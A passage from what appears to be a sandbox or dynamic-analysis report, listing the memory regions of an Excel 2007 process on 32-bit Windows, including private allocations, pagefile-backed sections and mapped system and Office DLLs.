	            name = "private_0x00000000042d0000"
	        filename = ""

Region:
	              id = 292
	        start_va = 0x42e0000
	          end_va = 0x43dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042e0000"
	        filename = ""

Region:
	              id = 293
	        start_va = 0x43e0000
	          end_va = 0x4427fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043e0000"
	        filename = ""

Region:
	              id = 294
	        start_va = 0x4430000
	          end_va = 0x4430fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004430000"
	        filename = ""

Region:
	              id = 295
	        start_va = 0x4440000
	          end_va = 0x4440fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004440000"
	        filename = ""

Region:
	              id = 296
	        start_va = 0x4450000
	          end_va = 0x4450fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004450000"
	        filename = ""

Region:
	              id = 297
	        start_va = 0x4460000
	          end_va = 0x455ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004460000"
	        filename = ""

Region:
	              id = 298
	        start_va = 0x4560000
	          end_va = 0x4961fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004560000"
	        filename = ""

Region:
	              id = 299
	        start_va = 0x4970000
	          end_va = 0x49b7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004970000"
	        filename = ""

Region:
	              id = 300
	        start_va = 0x49c0000
	          end_va = 0x49c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049c0000"
	        filename = ""

Region:
	              id = 301
	        start_va = 0x49d0000
	          end_va = 0x4acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049d0000"
	        filename = ""

Region:
	              id = 302
	        start_va = 0x4ad0000
	          end_va = 0x4b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ad0000"
	        filename = ""

Region:
	              id = 303
	        start_va = 0x4b10000
	          end_va = 0x4b3ffff
	     entry_point = 0x4b10000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db")

Region:
	              id = 304
	        start_va = 0x4b40000
	          end_va = 0x4b43fff
	     entry_point = 0x4b40000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 305
	        start_va = 0x4b50000
	          end_va = 0x4b51fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004b50000"
	        filename = ""

Region:
	              id = 306
	        start_va = 0x4b60000
	          end_va = 0x4b61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004b60000"
	        filename = ""

Region:
	              id = 307
	        start_va = 0x4b70000
	          end_va = 0x4b70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b70000"
	        filename = ""

Region:
	              id = 308
	        start_va = 0x4b80000
	          end_va = 0x4b80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b80000"
	        filename = ""

Region:
	              id = 309
	        start_va = 0x4b90000
	          end_va = 0x4b90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b90000"
	        filename = ""

Region:
	              id = 310
	        start_va = 0x4ba0000
	          end_va = 0x4ba0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004ba0000"
	        filename = ""

Region:
	              id = 311
	        start_va = 0x4bb0000
	          end_va = 0x4bb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bb0000"
	        filename = ""

Region:
	              id = 312
	        start_va = 0x4bc0000
	          end_va = 0x4bc3fff
	     entry_point = 0x4bc0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 313
	        start_va = 0x4bd0000
	          end_va = 0x4bd0fff
	     entry_point = 0x4bd0000
	     region_type = mapped_file
	            name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db")

Region:
	              id = 314
	        start_va = 0x4be0000
	          end_va = 0x4be0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004be0000"
	        filename = ""

Region:
	              id = 315
	        start_va = 0x4bf0000
	          end_va = 0x4bf7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bf0000"
	        filename = ""

Region:
	              id = 316
	        start_va = 0x4c00000
	          end_va = 0x4c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c00000"
	        filename = ""

Region:
	              id = 317
	        start_va = 0x4c40000
	          end_va = 0x4c40fff
	     entry_point = 0x4c40000
	     region_type = mapped_file
	            name = "oleaccrc.dll"
	        filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll")

Region:
	              id = 318
	        start_va = 0x4c50000
	          end_va = 0x4d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c50000"
	        filename = ""

Region:
	              id = 319
	        start_va = 0x4d50000
	          end_va = 0x4db5fff
	     entry_point = 0x4d50000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 320
	        start_va = 0x4dc0000
	          end_va = 0x4dc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004dc0000"
	        filename = ""

Region:
	              id = 321
	        start_va = 0x4dd0000
	          end_va = 0x4e0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004dd0000"
	        filename = ""

Region:
	              id = 322
	        start_va = 0x4e10000
	          end_va = 0x4f0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e10000"
	        filename = ""

Region:
	              id = 323
	        start_va = 0x4f10000
	          end_va = 0x4f10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f10000"
	        filename = ""

Region:
	              id = 324
	        start_va = 0x4f20000
	          end_va = 0x4f21fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004f20000"
	        filename = ""

Region:
	              id = 325
	        start_va = 0x4f30000
	          end_va = 0x4f30fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004f30000"
	        filename = ""

Region:
	              id = 326
	        start_va = 0x4f40000
	          end_va = 0x4f41fff
	     entry_point = 0x4f40000
	     region_type = mapped_file
	            name = "mssvp.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mssvp.dll.mui")

Region:
	              id = 327
	        start_va = 0x4f50000
	          end_va = 0x4f50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004f50000"
	        filename = ""

Region:
	              id = 328
	        start_va = 0x4f60000
	          end_va = 0x4f61fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f60000"
	        filename = ""

Region:
	              id = 329
	        start_va = 0x4f70000
	          end_va = 0x4f70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f70000"
	        filename = ""

Region:
	              id = 330
	        start_va = 0x4f80000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f80000"
	        filename = ""

Region:
	              id = 331
	        start_va = 0x4fc0000
	          end_va = 0x4fc1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fc0000"
	        filename = ""

Region:
	              id = 332
	        start_va = 0x4fd0000
	          end_va = 0x4fd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fd0000"
	        filename = ""

Region:
	              id = 333
	        start_va = 0x4fe0000
	          end_va = 0x4fe1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004fe0000"
	        filename = ""

Region:
	              id = 334
	        start_va = 0x4ff0000
	          end_va = 0x50effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ff0000"
	        filename = ""

Region:
	              id = 335
	        start_va = 0x50f0000
	          end_va = 0x52effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050f0000"
	        filename = ""

Region:
	              id = 336
	        start_va = 0x52f0000
	          end_va = 0x52f2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000052f0000"
	        filename = ""

Region:
	              id = 337
	        start_va = 0x5300000
	          end_va = 0x5302fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005300000"
	        filename = ""

Region:
	              id = 338
	        start_va = 0x5310000
	          end_va = 0x534ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005310000"
	        filename = ""

Region:
	              id = 339
	        start_va = 0x5350000
	          end_va = 0x5351fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005350000"
	        filename = ""

Region:
	              id = 340
	        start_va = 0x5380000
	          end_va = 0x53bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005380000"
	        filename = ""

Region:
	              id = 341
	        start_va = 0x5420000
	          end_va = 0x545ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005420000"
	        filename = ""

Region:
	              id = 342
	        start_va = 0x5490000
	          end_va = 0x558ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005490000"
	        filename = ""

Region:
	              id = 343
	        start_va = 0x5590000
	          end_va = 0x578ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005590000"
	        filename = ""

Region:
	              id = 344
	        start_va = 0x5840000
	          end_va = 0x587ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005840000"
	        filename = ""

Region:
	              id = 345
	        start_va = 0x58b0000
	          end_va = 0x58effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000058b0000"
	        filename = ""

Region:
	              id = 346
	        start_va = 0x5960000
	          end_va = 0x5a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005960000"
	        filename = ""

Region:
	              id = 347
	        start_va = 0x5a80000
	          end_va = 0x5abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a80000"
	        filename = ""

Region:
	              id = 348
	        start_va = 0x5ae0000
	          end_va = 0x5b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005ae0000"
	        filename = ""

Region:
	              id = 349
	        start_va = 0x5c10000
	          end_va = 0x5d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005c10000"
	        filename = ""

Region:
	              id = 350
	        start_va = 0x5d20000
	          end_va = 0x5d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d20000"
	        filename = ""

Region:
	              id = 351
	        start_va = 0x5d90000
	          end_va = 0x5e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d90000"
	        filename = ""

Region:
	              id = 352
	        start_va = 0x5e90000
	          end_va = 0x5f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005e90000"
	        filename = ""

Region:
	              id = 353
	        start_va = 0x6010000
	          end_va = 0x610ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006010000"
	        filename = ""

Region:
	              id = 354
	        start_va = 0x6120000
	          end_va = 0x621ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006120000"
	        filename = ""

Region:
	              id = 355
	        start_va = 0x6260000
	          end_va = 0x635ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006260000"
	        filename = ""

Region:
	              id = 356
	        start_va = 0x7110000
	          end_va = 0x720ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007110000"
	        filename = ""

Region:
	              id = 357
	        start_va = 0x72a0000
	          end_va = 0x739ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000072a0000"
	        filename = ""

Region:
	              id = 358
	        start_va = 0x2fa10000
	          end_va = 0x30b27fff
	     entry_point = 0x2fa10000
	     region_type = mapped_file
	            name = "excel.exe"
	        filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\excel.exe")

Region:
	              id = 359
	        start_va = 0x6e900000
	          end_va = 0x6e911fff
	     entry_point = 0x6e900000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")

Region:
	              id = 360
	        start_va = 0x6ea40000
	          end_va = 0x6ea8dfff
	     entry_point = 0x6ea40000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll")

Region:
	              id = 361
	        start_va = 0x6f600000
	          end_va = 0x6f621fff
	     entry_point = 0x6f600000
	     region_type = mapped_file
	            name = "ehstorapi.dll"
	        filename = "\\Windows\\SysWOW64\\EhStorAPI.dll" (normalized: "c:\\windows\\syswow64\\ehstorapi.dll")

Region:
	              id = 362
	        start_va = 0x6f630000
	          end_va = 0x6f66cfff
	     entry_point = 0x6f630000
	     region_type = mapped_file
	            name = "wmasf.dll"
	        filename = "\\Windows\\SysWOW64\\WMASF.DLL" (normalized: "c:\\windows\\syswow64\\wmasf.dll")

Region:
	              id = 363
	        start_va = 0x6f670000
	          end_va = 0x6f8d6fff
	     entry_point = 0x6f670000
	     region_type = mapped_file
	            name = "wmvcore.dll"
	        filename = "\\Windows\\SysWOW64\\WMVCORE.DLL" (normalized: "c:\\windows\\syswow64\\wmvcore.dll")

Region:
	              id = 364
	        start_va = 0x6f8e0000
	          end_va = 0x6f91efff
	     entry_point = 0x6f8e0000
	     region_type = mapped_file
	            name = "audiodev.dll"
	        filename = "\\Windows\\SysWOW64\\audiodev.dll" (normalized: "c:\\windows\\syswow64\\audiodev.dll")

Region:
	              id = 365
	        start_va = 0x6f920000
	          end_va = 0x6f9a8fff
	     entry_point = 0x6f920000
	     region_type = mapped_file
	            name = "portabledeviceapi.dll"
	        filename = "\\Windows\\SysWOW64\\PortableDeviceApi.dll" (normalized: "c:\\windows\\syswow64\\portabledeviceapi.dll")

Region:
	              id = 366
	        start_va = 0x6f9b0000
	          end_va = 0x6fb3ffff
	     entry_point = 0x6f9b0000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")

Region:
	              id = 367
	        start_va = 0x6fb40000
	          end_va = 0x6fd77fff
	     entry_point = 0x6fb40000
	     region_type = mapped_file
	            name = "wpdshext.dll"
	        filename = "\\Windows\\SysWOW64\\wpdshext.dll" (normalized: "c:\\windows\\syswow64\\wpdshext.dll")

Region:
	              id = 368
	        start_va = 0x6fd80000
	          end_va = 0x6fd88fff
	     entry_point = 0x6fd80000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll")

Region:
	              id = 369
	        start_va = 0x6fd90000
	          end_va = 0x6fd9efff
	     entry_point = 0x6fd90000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll")

Region:
	              id = 370
	        start_va = 0x6fda0000
	          end_va = 0x6fda7fff
	     entry_point = 0x6fda0000
	     region_type = mapped_file
	            name = "davhlpr.dll"
	        filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll")

Region:
	              id = 371
	        start_va = 0x6fdb0000
	          end_va = 0x6fdc6fff
	     entry_point = 0x6fdb0000
	     region_type = mapped_file
	            name = "davclnt.dll"
	        filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll")

Region:
	              id = 372
	        start_va = 0x6fdd0000
	          end_va = 0x6fde3fff
	     entry_point = 0x6fdd0000
	     region_type = mapped_file
	            name = "ntlanman.dll"
	        filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll")

Region:
	              id = 373
	        start_va = 0x6fdf0000
	          end_va = 0x6fe1afff
	     entry_point = 0x6fdf0000
	     region_type = mapped_file
	            name = "ieproxy.dll"
	        filename = "\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll")

Region:
	              id = 374
	        start_va = 0x6fe20000
	          end_va = 0x6fe35fff
	     entry_point = 0x6fe20000
	     region_type = mapped_file
	            name = "mapi32.dll"
	        filename = "\\Windows\\SysWOW64\\mapi32.dll" (normalized: "c:\\windows\\syswow64\\mapi32.dll")

Region:
	              id = 375
	        start_va = 0x6fe40000
	          end_va = 0x6fee5fff
	     entry_point = 0x6fe40000
	     region_type = mapped_file
	            name = "mssvp.dll"
	        filename = "\\Windows\\SysWOW64\\mssvp.dll" (normalized: "c:\\windows\\syswow64\\mssvp.dll")

Region:
	              id = 376
	        start_va = 0x6fef0000
	          end_va = 0x6ff2bfff
	     entry_point = 0x6fef0000
	     region_type = mapped_file
	            name = "oleacc.dll"
	        filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll")

Region:
	              id = 377
	        start_va = 0x6ff30000
	          end_va = 0x709affff
	     entry_point = 0x6ff30000
	     region_type = mapped_file
	            name = "ieframe.dll"
	        filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll")

Region:
	              id = 378
	        start_va = 0x709b0000
	          end_va = 0x709ddfff
	     entry_point = 0x709b0000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll")

Region:
	              id = 379
	        start_va = 0x709e0000
	          end_va = 0x709f5fff
	     entry_point = 0x709e0000
	     region_type = mapped_file
	            name = "thumbcache.dll"
	        filename = "\\Windows\\SysWOW64\\thumbcache.dll" (normalized: "c:\\windows\\syswow64\\thumbcache.dll")

Region:
	              id = 380
	        start_va = 0x70a00000
	          end_va = 0x70a5bfff
	     entry_point = 0x70a00000
	     region_type = mapped_file
	            name = "structuredquery.dll"
	        filename = "\\Windows\\SysWOW64\\StructuredQuery.dll" (normalized: "c:\\windows\\syswow64\\structuredquery.dll")

Region:
	              id = 381
	        start_va = 0x70a60000
	          end_va = 0x70afffff
	     entry_point = 0x70a60000
	     region_type = mapped_file
	            name = "searchfolder.dll"
	        filename = "\\Windows\\SysWOW64\\SearchFolder.dll" (normalized: "c:\\windows\\syswow64\\searchfolder.dll")

Region:
	              id = 382
	        start_va = 0x70b00000
	          end_va = 0x70b2efff
	     entry_point = 0x70b00000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll")

Region:
	              id = 383
	        start_va = 0x70b30000
	          end_va = 0x70b59fff
	     entry_point = 0x70b30000
	     region_type = mapped_file
	            name = "msls31.dll"
	        filename = "\\Windows\\SysWOW64\\msls31.dll" (normalized: "c:\\windows\\syswow64\\msls31.dll")

Region:
	              id = 384
	        start_va = 0x70b60000
	          end_va = 0x70bf3fff
	     entry_point = 0x70b60000
	     region_type = mapped_file
	            name = "msftedit.dll"
	        filename = "\\Windows\\SysWOW64\\msftedit.dll" (normalized: "c:\\windows\\syswow64\\msftedit.dll")

Region:
	              id = 385
	        start_va = 0x70c00000
	          end_va = 0x70c07fff
	     entry_point = 0x70c00000
	     region_type = mapped_file
	            name = "drprov.dll"
	        filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll")

Region:
	              id = 386
	        start_va = 0x70c10000
	          end_va = 0x70c17fff
	     entry_point = 0x70c10000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll")

Region:
	              id = 387
	        start_va = 0x70c20000
	          end_va = 0x70c28fff
	     entry_point = 0x70c20000
	     region_type = mapped_file
	            name = "linkinfo.dll"
	        filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll")

Region:
	              id = 388
	        start_va = 0x70c30000
	          end_va = 0x70c39fff
	     entry_point = 0x70c30000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll")

Region:
	              id = 389
	        start_va = 0x70c40000
	          end_va = 0x70c4afff
	     entry_point = 0x70c40000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll")

Region:
	              id = 390
	        start_va = 0x70c50000
	          end_va = 0x70c68fff
	     entry_point = 0x70c50000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll")

Region:
	              id = 391
	        start_va = 0x70c70000
	          end_va = 0x70cdffff
	     entry_point = 0x70c70000
	     region_type = mapped_file
	            name = "ntshrui.dll"
	        filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll")

Region:
	              id = 392
	        start_va = 0x70ce0000
	          end_va = 0x70d10fff
	     entry_point = 0x70ce0000
	     region_type = mapped_file
	            name = "ehstorshell.dll"
	        filename = "\\Windows\\SysWOW64\\EhStorShell.dll" (normalized: "c:\\windows\\syswow64\\ehstorshell.dll")

Region:
	              id = 393
	        start_va = 0x70d20000
	          end_va = 0x70e1afff
	     entry_point = 0x70d20000
	     region_type = mapped_file
	            name = "windowscodecs.dll"
	        filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll")

Region:
	              id = 394
	        start_va = 0x70e20000
	          end_va = 0x70ed1fff
	     entry_point = 0x70e20000
	     region_type = mapped_file
	            name = "dui70.dll"
	        filename = "\\Windows\\SysWOW64\\dui70.dll" (normalized: "c:\\windows\\syswow64\\dui70.dll")

Region:
	              id = 395
	        start_va = 0x70ee0000
	          end_va = 0x70f0efff
	     entry_point = 0x70ee0000
	     region_type = mapped_file
	            name = "duser.dll"
	        filename = "\\Windows\\SysWOW64\\duser.dll" (normalized: "c:\\windows\\syswow64\\duser.dll")

Region:
	              id = 396
	        start_va = 0x70f10000
	          end_va = 0x7107efff
	     entry_point = 0x70f10000
	     region_type = mapped_file
	            name = "explorerframe.dll"
	        filename = "\\Windows\\SysWOW64\\ExplorerFrame.dll" (normalized: "c:\\windows\\syswow64\\explorerframe.dll")

Region:
	              id = 397
	        start_va = 0x71080000
	          end_va = 0x710d7fff
	     entry_point = 0x71080000
	     region_type = mapped_file
	            name = "tiptsf.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll")

Region:
	              id = 398
	        start_va = 0x710e0000
	          end_va = 0x71163fff
	     entry_point = 0x710e0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 399
	        start_va = 0x71170000
	          end_va = 0x71307fff
	     entry_point = 0x71170000
	     region_type = mapped_file
	            name = "networkexplorer.dll"
	        filename = "\\Windows\\SysWOW64\\networkexplorer.dll" (normalized: "c:\\windows\\syswow64\\networkexplorer.dll")

Region:
	              id = 400
	        start_va = 0x71310000
	          end_va = 0x7135bfff
	     entry_point = 0x71310000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")

Region:
	              id = 401
	        start_va = 0x71360000
	          end_va = 0x71380fff
	     entry_point = 0x71360000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll")

Region:
	              id = 402
	        start_va = 0x71390000
	          end_va = 0x71396fff
	     entry_point = 0x71390000
	     region_type = mapped_file
	            name = "midimap.dll"
	        filename = "\\Windows\\SysWOW64\\midimap.dll" (normalized: "c:\\windows\\syswow64\\midimap.dll")

Region:
	              id = 403
	        start_va = 0x713a0000
	          end_va = 0x713b3fff
	     entry_point = 0x713a0000
	     region_type = mapped_file
	            name = "msacm32.dll"
	        filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll")

Region:
	              id = 404
	        start_va = 0x713c0000
	          end_va = 0x713f5fff
	     entry_point = 0x713c0000
	     region_type = mapped_file
	            name = "audioses.dll"
	        filename = "\\Windows\\SysWOW64\\AudioSes.dll" (normalized: "c:\\windows\\syswow64\\audioses.dll")

Region:
	              id = 405
	        start_va = 0x71400000
	          end_va = 0x714f4fff
	     entry_point = 0x71400000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")

Region:
	              id = 406
	        start_va = 0x71500000
	          end_va = 0x71edcfff
	     entry_point = 0x71500000
	     region_type = mapped_file
	            name = "msointl.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\1033\\msointl.dll")

Region:
	              id = 407
	        start_va = 0x71ee0000
	          end_va = 0x72533fff
	     entry_point = 0x71ee0000
	     region_type = mapped_file
	            name = "msores.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSORES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\msores.dll")

Region:
	              id = 408
	        start_va = 0x72540000
	          end_va = 0x73557fff
	     entry_point = 0x72540000
	     region_type = mapped_file
	            name = "mso.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\mso.dll")

Region:
	              id = 409
	        start_va = 0x73560000
	          end_va = 0x742dffff
	     entry_point = 0x73560000
	     region_type = mapped_file
	            name = "oart.dll"
	        filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\oart.dll")

Region:
	              id = 410
	        start_va = 0x742f0000
	          end_va = 0x742f7fff
	     entry_point = 0x742f0000
	     region_type = mapped_file
	            name = "msacm32.drv"
	        filename = "\\Windows\\SysWOW64\\msacm32.drv" (normalized: "c:\\windows\\syswow64\\msacm32.drv")

Region:
	              id = 411
	        start_va = 0x74310000
	          end_va = 0x74316fff
	     entry_point = 0x74310000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\SysWOW64\\avrt.dll" (normalized: "c:\\windows\\syswow64\\avrt.dll")

Region:
	              id = 412
	        start_va = 0x74320000
	          end_va = 0x74323fff
	     entry_point = 0x74320000
	     region_type = mapped_file
	            name = "ksuser.dll"
	        filename = "\\Windows\\SysWOW64\\ksuser.dll" (normalized: "c:\\windows\\syswow64\\ksuser.dll")

Region:
	              id = 413
	        start_va = 0x74330000
	          end_va = 0x74368fff
	     entry_point = 0x74330000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\SysWOW64\\MMDevAPI.dll" (normalized: "c:\\windows\\syswow64\\mmdevapi.dll")

Region:
	              id = 414
	        start_va = 0x74370000
	          end_va = 0x743a1fff
	     entry_point = 0x74370000
	     region_type = mapped_file
	            name = "winmm.dll"
	        filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll")

Region:
	              id = 415
	        start_va = 0x743c0000
